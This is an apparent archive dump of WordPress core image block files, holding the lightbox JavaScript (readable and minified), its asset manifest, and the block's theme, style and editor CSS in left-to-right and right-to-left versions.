      let containerMaxHeight = imgMaxHeight;
      let containerWidth = imgMaxWidth;
      let containerHeight = imgMaxHeight;

      // Checks if the target image has a different ratio than the original
      // one (thumbnail). Recalculates the width and height.
      if (naturalRatio.toFixed(2) !== imgRatio.toFixed(2)) {
        if (naturalRatio > imgRatio) {
          // If the width is reached before the height, it keeps the maxWidth
          // and recalculates the height unless the difference between the
          // maxHeight and the reducedHeight is higher than the maxWidth,
          // where it keeps the reducedHeight and recalculate the width.
          const reducedHeight = imgMaxWidth / naturalRatio;
          if (imgMaxHeight - reducedHeight > imgMaxWidth) {
            imgMaxHeight = reducedHeight;
            imgMaxWidth = reducedHeight * naturalRatio;
          } else {
            imgMaxHeight = imgMaxWidth / naturalRatio;
          }
        } else {
          // If the height is reached before the width, it keeps the maxHeight
          // and recalculate the width unlesss the difference between the
          // maxWidth and the reducedWidth is higher than the maxHeight, where
          // it keeps the reducedWidth and recalculate the height.
          const reducedWidth = imgMaxHeight * naturalRatio;
          if (imgMaxWidth - reducedWidth > imgMaxHeight) {
            imgMaxWidth = reducedWidth;
            imgMaxHeight = reducedWidth / naturalRatio;
          } else {
            imgMaxWidth = imgMaxHeight * naturalRatio;
          }
        }
        containerWidth = imgMaxWidth;
        containerHeight = imgMaxHeight;
        imgRatio = imgMaxWidth / imgMaxHeight;

        // Calculates the max size of the container.
        if (originalRatio > imgRatio) {
          containerMaxWidth = imgMaxWidth;
          containerMaxHeight = containerMaxWidth / originalRatio;
        } else {
          containerMaxHeight = imgMaxHeight;
          containerMaxWidth = containerMaxHeight * originalRatio;
        }
      }

      // If the image has been pixelated on purpose, it keeps that size.
      if (originalWidth > containerWidth || originalHeight > containerHeight) {
        containerWidth = originalWidth;
        containerHeight = originalHeight;
      }

      // Calculates the final lightbox image size and the scale factor.
      // MaxWidth is either the window container (accounting for padding) or
      // the image resolution.
      let horizontalPadding = 0;
      if (window.innerWidth > 480) {
        horizontalPadding = 80;
      } else if (window.innerWidth > 1920) {
        horizontalPadding = 160;
      }
      const verticalPadding = 80;
      const targetMaxWidth = Math.min(window.innerWidth - horizontalPadding, containerWidth);
      const targetMaxHeight = Math.min(window.innerHeight - verticalPadding, containerHeight);
      const targetContainerRatio = targetMaxWidth / targetMaxHeight;
      if (originalRatio > targetContainerRatio) {
        // If targetMaxWidth is reached before targetMaxHeight.
        containerWidth = targetMaxWidth;
        containerHeight = containerWidth / originalRatio;
      } else {
        // If targetMaxHeight is reached before targetMaxWidth.
        containerHeight = targetMaxHeight;
        containerWidth = containerHeight * originalRatio;
      }
      const containerScale = originalWidth / containerWidth;
      const lightboxImgWidth = imgMaxWidth * (containerWidth / containerMaxWidth);
      const lightboxImgHeight = imgMaxHeight * (containerHeight / containerMaxHeight);

      // As of this writing, using the calculations above will render the
      // lightbox with a small, erroneous whitespace on the left side of the
      // image in iOS Safari, perhaps due to an inconsistency in how browsers
      // handle absolute positioning and CSS transformation. In any case,
      // adding 1 pixel to the container width and height solves the problem,
      // though this can be removed if the issue is fixed in the future.
      state.overlayStyles = `
					--wp--lightbox-initial-top-position: ${screenPosY}px;
					--wp--lightbox-initial-left-position: ${screenPosX}px;
					--wp--lightbox-container-width: ${containerWidth + 1}px;
					--wp--lightbox-container-height: ${containerHeight + 1}px;
					--wp--lightbox-image-width: ${lightboxImgWidth}px;
					--wp--lightbox-image-height: ${lightboxImgHeight}px;
					--wp--lightbox-scale: ${containerScale};
					--wp--lightbox-scrollbar-width: ${window.innerWidth - document.documentElement.clientWidth}px;
				`;
    },
    setButtonStyles() {
      const {
        imageId
      } = (0,interactivity_namespaceObject.getContext)();
      const {
        ref
      } = (0,interactivity_namespaceObject.getElement)();
      state.metadata[imageId].imageRef = ref;
      state.metadata[imageId].currentSrc = ref.currentSrc;
      const {
        naturalWidth,
        naturalHeight,
        offsetWidth,
        offsetHeight
      } = ref;

      // If the image isn't loaded yet, it can't calculate where the button
      // should be.
      if (naturalWidth === 0 || naturalHeight === 0) {
        return;
      }
      const figure = ref.parentElement;
      const figureWidth = ref.parentElement.clientWidth;

      // It needs special handling for the height because a caption will cause
      // the figure to be taller than the image, which means it needs to
      // account for that when calculating the placement of the button in the
      // top right corner of the image.
      let figureHeight = ref.parentElement.clientHeight;
      const caption = figure.querySelector('figcaption');
      if (caption) {
        const captionComputedStyle = window.getComputedStyle(caption);
        if (!['absolute', 'fixed'].includes(captionComputedStyle.position)) {
          figureHeight = figureHeight - caption.offsetHeight - parseFloat(captionComputedStyle.marginTop) - parseFloat(captionComputedStyle.marginBottom);
        }
      }
      const buttonOffsetTop = figureHeight - offsetHeight;
      const buttonOffsetRight = figureWidth - offsetWidth;
      let imageButtonTop = buttonOffsetTop + 16;
      let imageButtonRight = buttonOffsetRight + 16;

      // In the case of an image with object-fit: contain, the size of the
      // <img> element can be larger than the image itself, so it needs to
      // calculate where to place the button.
      if (state.metadata[imageId].scaleAttr === 'contain') {
        // Natural ratio of the image.
        const naturalRatio = naturalWidth / naturalHeight;
        // Offset ratio of the image.
        const offsetRatio = offsetWidth / offsetHeight;
        if (naturalRatio >= offsetRatio) {
          // If it reaches the width first, it keeps the width and compute the
          // height.
          const referenceHeight = offsetWidth / naturalRatio;
          imageButtonTop = (offsetHeight - referenceHeight) / 2 + buttonOffsetTop + 16;
          imageButtonRight = buttonOffsetRight + 16;
        } else {
          // If it reaches the height first, it keeps the height and compute
          // the width.
          const referenceWidth = offsetHeight * naturalRatio;
          imageButtonTop = buttonOffsetTop + 16;
          imageButtonRight = (offsetWidth - referenceWidth) / 2 + buttonOffsetRight + 16;
        }
      }
      state.metadata[imageId].imageButtonTop = imageButtonTop;
      state.metadata[imageId].imageButtonRight = imageButtonRight;
    },
    setOverlayFocus() {
      if (state.overlayEnabled) {
        // Moves the focus to the dialog when it opens.
        const {
          ref
        } = (0,interactivity_namespaceObject.getElement)();
        ref.focus();
      }
    },
    initTriggerButton() {
      const {
        imageId
      } = (0,interactivity_namespaceObject.getContext)();
      const {
        ref
      } = (0,interactivity_namespaceObject.getElement)();
      state.metadata[imageId].buttonRef = ref;
    }
  }
}, {
  lock: true
});

theme.min.css000064400000000274151024246360007150 0ustar00:root :where(.wp-block-image figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme :root :where(.wp-block-image figcaption){color:#ffffffa6}.wp-block-image{margin:0 0 1em}view.min.asset.php000064400000000124151024246360010127 0ustar00<?php return array('dependencies' => array(), 'version' => 'ff354d5368d64857fef0');
theme.css000064400000000324151024246360006362 0ustar00:root :where(.wp-block-image figcaption){
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme :root :where(.wp-block-image figcaption){
  color:#ffffffa6;
}

.wp-block-image{
  margin:0 0 1em;
}view.min.js000064400000011053151024246360006641 0ustar00import*as t from"@wordpress/interactivity";var e={d:(t,n)=>{for(var a in n)e.o(n,a)&&!e.o(t,a)&&Object.defineProperty(t,a,{enumerable:!0,get:n[a]})},o:(t,e)=>Object.prototype.hasOwnProperty.call(t,e)};const n=(t=>{var n={};return e.d(n,t),n})({getContext:()=>t.getContext,getElement:()=>t.getElement,store:()=>t.store,withSyncEvent:()=>t.withSyncEvent});let a=!1,o=0;const{state:r,actions:i,callbacks:l}=(0,n.store)("core/image",{state:{currentImageId:null,get currentImage(){return r.metadata[r.currentImageId]},get overlayOpened(){return null!==r.currentImageId},get roleAttribute(){return r.overlayOpened?"dialog":null},get ariaModal(){return r.overlayOpened?"true":null},get enlargedSrc(){return r.currentImage.uploadedSrc||"data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs="},get figureStyles(){return r.overlayOpened&&`${r.currentImage.figureStyles?.replace(/margin[^;]*;?/g,"")};`},get imgStyles(){return r.overlayOpened&&`${r.currentImage.imgStyles?.replace(/;$/,"")}; object-fit:cover;`},get imageButtonRight(){const{imageId:t}=(0,n.getContext)();return r.metadata[t].imageButtonRight},get imageButtonTop(){const{imageId:t}=(0,n.getContext)();return r.metadata[t].imageButtonTop},get isContentHidden(){const t=(0,n.getContext)();return r.overlayEnabled&&r.currentImageId===t.imageId},get isContentVisible(){const t=(0,n.getContext)();return!r.overlayEnabled&&r.currentImageId===t.imageId}},actions:{showLightbox(){const{imageId:t}=(0,n.getContext)();r.metadata[t].imageRef?.complete&&(r.scrollTopReset=document.documentElement.scrollTop,r.scrollLeftReset=document.documentElement.scrollLeft,r.overlayEnabled=!0,r.currentImageId=t,l.setOverlayStyles())},hideLightbox(){r.overlayEnabled&&(r.showClosingAnimation=!0,r.overlayEnabled=!1,setTimeout((function(){r.currentImage.buttonRef.focus({preventScroll:!0}),r.currentImageId=null}),450))},handleKeydown:(0,n.withSyncEvent)((t=>{if(r.overlayEnabled){if("Tab"===t.key){t.preventDefault();const{ref:e}=(0,n.getElement)();e.querySelector("button").focus()}"Escape"===t.key&&i.hideLightbox()}})),handleTouchMove:(0,n.withSyncEvent)((t=>{r.overlayEnabled&&t.preventDefault()})),handleTouchStart(){a=!0},handleTouchEnd(){o=Date.now(),a=!1},handleScroll(){r.overlayOpened&&!a&&Date.now()-o>450&&window.scrollTo(r.scrollLeftReset,r.scrollTopReset)}},callbacks:{setOverlayStyles(){if(!r.overlayEnabled)return;let{naturalWidth:t,naturalHeight:e,offsetWidth:n,offsetHeight:a}=r.currentImage.imageRef,{x:o,y:i}=r.currentImage.imageRef.getBoundingClientRect();const l=t/e;let g=n/a;if("contain"===r.currentImage.scaleAttr)if(l>g){const t=n/l;i+=(a-t)/2,a=t}else{const t=a*l;o+=(n-t)/2,n=t}g=n/a;let c=parseFloat("none"!==r.currentImage.targetWidth?r.currentImage.targetWidth:t),s=parseFloat("none"!==r.currentImage.targetHeight?r.currentImage.targetHeight:e),d=c/s,u=c,m=s,h=c,p=s;if(l.toFixed(2)!==d.toFixed(2)){if(l>d){const t=c/l;s-t>c?(s=t,c=t*l):s=c/l}else{const t=s*l;c-t>s?(c=t,s=t/l):c=s*l}h=c,p=s,d=c/s,g>d?(u=c,m=u/g):(m=s,u=m*g)}(n>h||a>p)&&(h=n,p=a);let f=0;window.innerWidth>480?f=80:window.innerWidth>1920&&(f=160);const y=Math.min(window.innerWidth-f,h),w=Math.min(window.innerHeight-80,p);g>y/w?(h=y,p=h/g):(p=w,h=p*g);const b=n/h,I=c*(h/u),v=s*(p/m);r.overlayStyles=`\n\t\t\t\t\t--wp--lightbox-initial-top-position: ${i}px;\n\t\t\t\t\t--wp--lightbox-initial-left-position: ${o}px;\n\t\t\t\t\t--wp--lightbox-container-width: ${h+1}px;\n\t\t\t\t\t--wp--lightbox-container-height: ${p+1}px;\n\t\t\t\t\t--wp--lightbox-image-width: ${I}px;\n\t\t\t\t\t--wp--lightbox-image-height: ${v}px;\n\t\t\t\t\t--wp--lightbox-scale: ${b};\n\t\t\t\t\t--wp--lightbox-scrollbar-width: ${window.innerWidth-document.documentElement.clientWidth}px;\n\t\t\t\t`},setButtonStyles(){const{imageId:t}=(0,n.getContext)(),{ref:e}=(0,n.getElement)();r.metadata[t].imageRef=e,r.metadata[t].currentSrc=e.currentSrc;const{naturalWidth:a,naturalHeight:o,offsetWidth:i,offsetHeight:l}=e;if(0===a||0===o)return;const g=e.parentElement,c=e.parentElement.clientWidth;let s=e.parentElement.clientHeight;const d=g.querySelector("figcaption");if(d){const t=window.getComputedStyle(d);["absolute","fixed"].includes(t.position)||(s=s-d.offsetHeight-parseFloat(t.marginTop)-parseFloat(t.marginBottom))}const u=s-l,m=c-i;let h=u+16,p=m+16;if("contain"===r.metadata[t].scaleAttr){const t=a/o;if(t>=i/l){h=(l-i/t)/2+u+16,p=m+16}else{h=u+16,p=(i-l*t)/2+m+16}}r.metadata[t].imageButtonTop=h,r.metadata[t].imageButtonRight=p},setOverlayFocus(){if(r.overlayEnabled){const{ref:t}=(0,n.getElement)();t.focus()}},initTriggerButton(){const{imageId:t}=(0,n.getContext)(),{ref:e}=(0,n.getElement)();r.metadata[t].buttonRef=e}}},{lock:!0});style-rtl.min.css000064400000015242151024246360010006 0ustar00.wp-block-image>a,.wp-block-image>figure>a{display:inline-block}.wp-block-image img{box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom}@media not (prefers-reduced-motion){.wp-block-image img.hide{visibility:hidden}.wp-block-image img.show{animation:show-content-image .4s}}.wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{border-radius:inherit}.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-image.aligncenter{text-align:center}.wp-block-image.alignfull>a,.wp-block-image.alignwide>a{width:100%}.wp-block-image.alignfull img,.wp-block-image.alignwide img{height:auto;width:100%}.wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{display:table}.wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{caption-side:bottom;display:table-caption}.wp-block-image .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-image .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-image .aligncenter{margin-left:auto;margin-right:auto}.wp-block-image :where(figcaption){margin-bottom:1em;margin-top:.5em}.wp-block-image.is-style-circle-mask img{border-radius:9999px}@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){.wp-block-image.is-style-circle-mask img{border-radius:0;-webkit-mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');mask-mode:alpha;-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain}}:root :where(.wp-block-image.is-style-rounded img,.wp-block-image .is-style-rounded img){border-radius:9999px}.wp-block-image figure{margin:0}.wp-lightbox-container{display:flex;flex-direction:column;position:relative}.wp-lightbox-container img{cursor:zoom-in}.wp-lightbox-container img:hover+button{opacity:1}.wp-lightbox-container button{align-items:center;-webkit-backdrop-filter:blur(16px) saturate(180%);backdrop-filter:blur(16px) saturate(180%);background-color:#5a5a5a40;border:none;border-radius:4px;cursor:zoom-in;display:flex;height:20px;justify-content:center;left:16px;opacity:0;padding:0;position:absolute;text-align:center;top:16px;width:20px;z-index:100}@media not (prefers-reduced-motion){.wp-lightbox-container button{transition:opacity .2s ease}}.wp-lightbox-container button:focus-visible{outline:3px auto #5a5a5a40;outline:3px auto -webkit-focus-ring-color;outline-offset:3px}.wp-lightbox-container button:hover{cursor:pointer;opacity:1}.wp-lightbox-container button:focus{opacity:1}.wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){background-color:#5a5a5a40;border:none}.wp-lightbox-overlay{box-sizing:border-box;cursor:zoom-out;height:100vh;overflow:hidden;position:fixed;right:0;top:0;visibility:hidden;width:100%;z-index:100000}.wp-lightbox-overlay .close-button{align-items:center;cursor:pointer;display:flex;justify-content:center;left:calc(env(safe-area-inset-left) + 16px);min-height:40px;min-width:40px;padding:0;position:absolute;top:calc(env(safe-area-inset-top) + 16px);z-index:5000000}.wp-lightbox-overlay .close-button:focus,.wp-lightbox-overlay .close-button:hover,.wp-lightbox-overlay .close-button:not(:hover):not(:active):not(.has-background){background:none;border:none}.wp-lightbox-overlay .lightbox-image-container{height:var(--wp--lightbox-container-height);overflow:hidden;position:absolute;right:50%;top:50%;transform:translate(50%,-50%);transform-origin:top right;width:var(--wp--lightbox-container-width);z-index:9999999999}.wp-lightbox-overlay .wp-block-image{align-items:center;box-sizing:border-box;display:flex;height:100%;justify-content:center;margin:0;position:relative;transform-origin:100% 0;width:100%;z-index:3000000}.wp-lightbox-overlay .wp-block-image img{height:var(--wp--lightbox-image-height);min-height:var(--wp--lightbox-image-height);min-width:var(--wp--lightbox-image-width);width:var(--wp--lightbox-image-width)}.wp-lightbox-overlay .wp-block-image figcaption{display:none}.wp-lightbox-overlay button{background:none;border:none}.wp-lightbox-overlay .scrim{background-color:#fff;height:100%;opacity:.9;position:absolute;width:100%;z-index:2000000}.wp-lightbox-overlay.active{visibility:visible}@media not (prefers-reduced-motion){.wp-lightbox-overlay.active{animation:turn-on-visibility .25s both}.wp-lightbox-overlay.active img{animation:turn-on-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active){animation:turn-off-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active) img{animation:turn-off-visibility .25s both}.wp-lightbox-overlay.zoom.active{animation:none;opacity:1;visibility:visible}.wp-lightbox-overlay.zoom.active .lightbox-image-container{animation:lightbox-zoom-in .4s}.wp-lightbox-overlay.zoom.active .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.active .scrim{animation:turn-on-visibility .4s forwards}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active){animation:none}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container{animation:lightbox-zoom-out .4s}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .scrim{animation:turn-off-visibility .4s forwards}}@keyframes show-content-image{0%{visibility:hidden}99%{visibility:hidden}to{visibility:visible}}@keyframes turn-on-visibility{0%{opacity:0}to{opacity:1}}@keyframes turn-off-visibility{0%{opacity:1;visibility:visible}99%{opacity:0;visibility:visible}to{opacity:0;visibility:hidden}}@keyframes lightbox-zoom-in{0%{transform:translate(calc(((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position))*-1),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale))}to{transform:translate(50%,-50%) scale(1)}}@keyframes lightbox-zoom-out{0%{transform:translate(50%,-50%) scale(1);visibility:visible}99%{visibility:visible}to{transform:translate(calc(((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position))*-1),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));visibility:hidden}}editor-rtl.css000064400000005266151024246360007357 0ustar00.wp-block-image.wp-block-image .block-editor-media-placeholder.is-small{
  min-height:60px;
}

figure.wp-block-image:not(.wp-block){
  margin:0;
}

.wp-block-image{
  position:relative;
}
.wp-block-image .is-applying img,.wp-block-image.is-transient img{
  opacity:.3;
}
.wp-block-image figcaption img{
  display:inline;
}
.wp-block-image .components-spinner{
  margin:0;
  position:absolute;
  right:50%;
  top:50%;
  transform:translate(50%, -50%);
}

.wp-block-image__placeholder{
  aspect-ratio:4/3;
}
.wp-block-image__placeholder.has-illustration:before{
  background:#fff;
  opacity:.8;
}
.wp-block-image__placeholder .components-placeholder__illustration{
  opacity:.1;
}

.wp-block-image .components-resizable-box__container{
  display:table;
}
.wp-block-image .components-resizable-box__container img{
  display:block;
  height:inherit;
  width:inherit;
}

.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{
  left:0;
  margin:-1px 0;
  position:absolute;
  right:0;
}
@media (min-width:600px){
  .block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{
    margin:-1px;
  }
}

[data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{
  height:auto;
  width:100%;
}

.wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{
  display:table;
}
.wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{
  caption-side:bottom;
  display:table-caption;
}

.wp-block[data-align=left]>.wp-block-image{
  margin:.5em 0 .5em 1em;
}

.wp-block[data-align=right]>.wp-block-image{
  margin:.5em 1em .5em 0;
}

.wp-block[data-align=center]>.wp-block-image{
  margin-left:auto;
  margin-right:auto;
  text-align:center;
}

.wp-block[data-align]:has(>.wp-block-image){
  position:relative;
}

.wp-block-image__crop-area{
  max-width:100%;
  overflow:hidden;
  position:relative;
  width:100%;
}
.wp-block-image__crop-area .reactEasyCrop_Container{
  pointer-events:auto;
}
.wp-block-image__crop-area .reactEasyCrop_Container .reactEasyCrop_Image{
  border:none;
  border-radius:0;
}

.wp-block-image__crop-icon{
  align-items:center;
  display:flex;
  justify-content:center;
  min-width:48px;
  padding:0 8px;
}
.wp-block-image__crop-icon svg{
  fill:currentColor;
}

.wp-block-image__zoom .components-popover__content{
  min-width:260px;
  overflow:visible !important;
}

.wp-block-image__toolbar_content_textarea__container{
  padding:8px;
}

.wp-block-image__toolbar_content_textarea{
  width:250px;
}style.min.css000064400000015230151024246360007204 0ustar00.wp-block-image>a,.wp-block-image>figure>a{display:inline-block}.wp-block-image img{box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom}@media not (prefers-reduced-motion){.wp-block-image img.hide{visibility:hidden}.wp-block-image img.show{animation:show-content-image .4s}}.wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{border-radius:inherit}.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-image.aligncenter{text-align:center}.wp-block-image.alignfull>a,.wp-block-image.alignwide>a{width:100%}.wp-block-image.alignfull img,.wp-block-image.alignwide img{height:auto;width:100%}.wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{display:table}.wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{caption-side:bottom;display:table-caption}.wp-block-image .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-image .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-image .aligncenter{margin-left:auto;margin-right:auto}.wp-block-image :where(figcaption){margin-bottom:1em;margin-top:.5em}.wp-block-image.is-style-circle-mask img{border-radius:9999px}@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){.wp-block-image.is-style-circle-mask img{border-radius:0;-webkit-mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');mask-mode:alpha;-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain}}:root :where(.wp-block-image.is-style-rounded img,.wp-block-image .is-style-rounded img){border-radius:9999px}.wp-block-image figure{margin:0}.wp-lightbox-container{display:flex;flex-direction:column;position:relative}.wp-lightbox-container img{cursor:zoom-in}.wp-lightbox-container img:hover+button{opacity:1}.wp-lightbox-container button{align-items:center;-webkit-backdrop-filter:blur(16px) saturate(180%);backdrop-filter:blur(16px) saturate(180%);background-color:#5a5a5a40;border:none;border-radius:4px;cursor:zoom-in;display:flex;height:20px;justify-content:center;opacity:0;padding:0;position:absolute;right:16px;text-align:center;top:16px;width:20px;z-index:100}@media not (prefers-reduced-motion){.wp-lightbox-container button{transition:opacity .2s ease}}.wp-lightbox-container button:focus-visible{outline:3px auto #5a5a5a40;outline:3px auto -webkit-focus-ring-color;outline-offset:3px}.wp-lightbox-container button:hover{cursor:pointer;opacity:1}.wp-lightbox-container button:focus{opacity:1}.wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){background-color:#5a5a5a40;border:none}.wp-lightbox-overlay{box-sizing:border-box;cursor:zoom-out;height:100vh;left:0;overflow:hidden;position:fixed;top:0;visibility:hidden;width:100%;z-index:100000}.wp-lightbox-overlay .close-button{align-items:center;cursor:pointer;display:flex;justify-content:center;min-height:40px;min-width:40px;padding:0;position:absolute;right:calc(env(safe-area-inset-right) + 16px);top:calc(env(safe-area-inset-top) + 16px);z-index:5000000}.wp-lightbox-overlay .close-button:focus,.wp-lightbox-overlay .close-button:hover,.wp-lightbox-overlay .close-button:not(:hover):not(:active):not(.has-background){background:none;border:none}.wp-lightbox-overlay .lightbox-image-container{height:var(--wp--lightbox-container-height);left:50%;overflow:hidden;position:absolute;top:50%;transform:translate(-50%,-50%);transform-origin:top left;width:var(--wp--lightbox-container-width);z-index:9999999999}.wp-lightbox-overlay .wp-block-image{align-items:center;box-sizing:border-box;display:flex;height:100%;justify-content:center;margin:0;position:relative;transform-origin:0 0;width:100%;z-index:3000000}.wp-lightbox-overlay .wp-block-image img{height:var(--wp--lightbox-image-height);min-height:var(--wp--lightbox-image-height);min-width:var(--wp--lightbox-image-width);width:var(--wp--lightbox-image-width)}.wp-lightbox-overlay .wp-block-image figcaption{display:none}.wp-lightbox-overlay button{background:none;border:none}.wp-lightbox-overlay .scrim{background-color:#fff;height:100%;opacity:.9;position:absolute;width:100%;z-index:2000000}.wp-lightbox-overlay.active{visibility:visible}@media not (prefers-reduced-motion){.wp-lightbox-overlay.active{animation:turn-on-visibility .25s both}.wp-lightbox-overlay.active img{animation:turn-on-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active){animation:turn-off-visibility .35s both}.wp-lightbox-overlay.show-closing-animation:not(.active) img{animation:turn-off-visibility .25s both}.wp-lightbox-overlay.zoom.active{animation:none;opacity:1;visibility:visible}.wp-lightbox-overlay.zoom.active .lightbox-image-container{animation:lightbox-zoom-in .4s}.wp-lightbox-overlay.zoom.active .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.active .scrim{animation:turn-on-visibility .4s forwards}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active){animation:none}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container{animation:lightbox-zoom-out .4s}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container img{animation:none}.wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .scrim{animation:turn-off-visibility .4s forwards}}@keyframes show-content-image{0%{visibility:hidden}99%{visibility:hidden}to{visibility:visible}}@keyframes turn-on-visibility{0%{opacity:0}to{opacity:1}}@keyframes turn-off-visibility{0%{opacity:1;visibility:visible}99%{opacity:0;visibility:visible}to{opacity:0;visibility:hidden}}@keyframes lightbox-zoom-in{0%{transform:translate(calc((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position)),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale))}to{transform:translate(-50%,-50%) scale(1)}}@keyframes lightbox-zoom-out{0%{transform:translate(-50%,-50%) scale(1);visibility:visible}99%{visibility:visible}to{transform:translate(calc((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position)),calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));visibility:hidden}}editor.css000064400000005266151024246360006560 0ustar00.wp-block-image.wp-block-image .block-editor-media-placeholder.is-small{
  min-height:60px;
}

figure.wp-block-image:not(.wp-block){
  margin:0;
}

.wp-block-image{
  position:relative;
}
.wp-block-image .is-applying img,.wp-block-image.is-transient img{
  opacity:.3;
}
.wp-block-image figcaption img{
  display:inline;
}
.wp-block-image .components-spinner{
  left:50%;
  margin:0;
  position:absolute;
  top:50%;
  transform:translate(-50%, -50%);
}

.wp-block-image__placeholder{
  aspect-ratio:4/3;
}
.wp-block-image__placeholder.has-illustration:before{
  background:#fff;
  opacity:.8;
}
.wp-block-image__placeholder .components-placeholder__illustration{
  opacity:.1;
}

.wp-block-image .components-resizable-box__container{
  display:table;
}
.wp-block-image .components-resizable-box__container img{
  display:block;
  height:inherit;
  width:inherit;
}

.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{
  left:0;
  margin:-1px 0;
  position:absolute;
  right:0;
}
@media (min-width:600px){
  .block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{
    margin:-1px;
  }
}

[data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{
  height:auto;
  width:100%;
}

.wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{
  display:table;
}
.wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{
  caption-side:bottom;
  display:table-caption;
}

.wp-block[data-align=left]>.wp-block-image{
  margin:.5em 1em .5em 0;
}

.wp-block[data-align=right]>.wp-block-image{
  margin:.5em 0 .5em 1em;
}

.wp-block[data-align=center]>.wp-block-image{
  margin-left:auto;
  margin-right:auto;
  text-align:center;
}

.wp-block[data-align]:has(>.wp-block-image){
  position:relative;
}

.wp-block-image__crop-area{
  max-width:100%;
  overflow:hidden;
  position:relative;
  width:100%;
}
.wp-block-image__crop-area .reactEasyCrop_Container{
  pointer-events:auto;
}
.wp-block-image__crop-area .reactEasyCrop_Container .reactEasyCrop_Image{
  border:none;
  border-radius:0;
}

.wp-block-image__crop-icon{
  align-items:center;
  display:flex;
  justify-content:center;
  min-width:48px;
  padding:0 8px;
}
.wp-block-image__crop-icon svg{
  fill:currentColor;
}

.wp-block-image__zoom .components-popover__content{
  min-width:260px;
  overflow:visible !important;
}

.wp-block-image__toolbar_content_textarea__container{
  padding:8px;
}

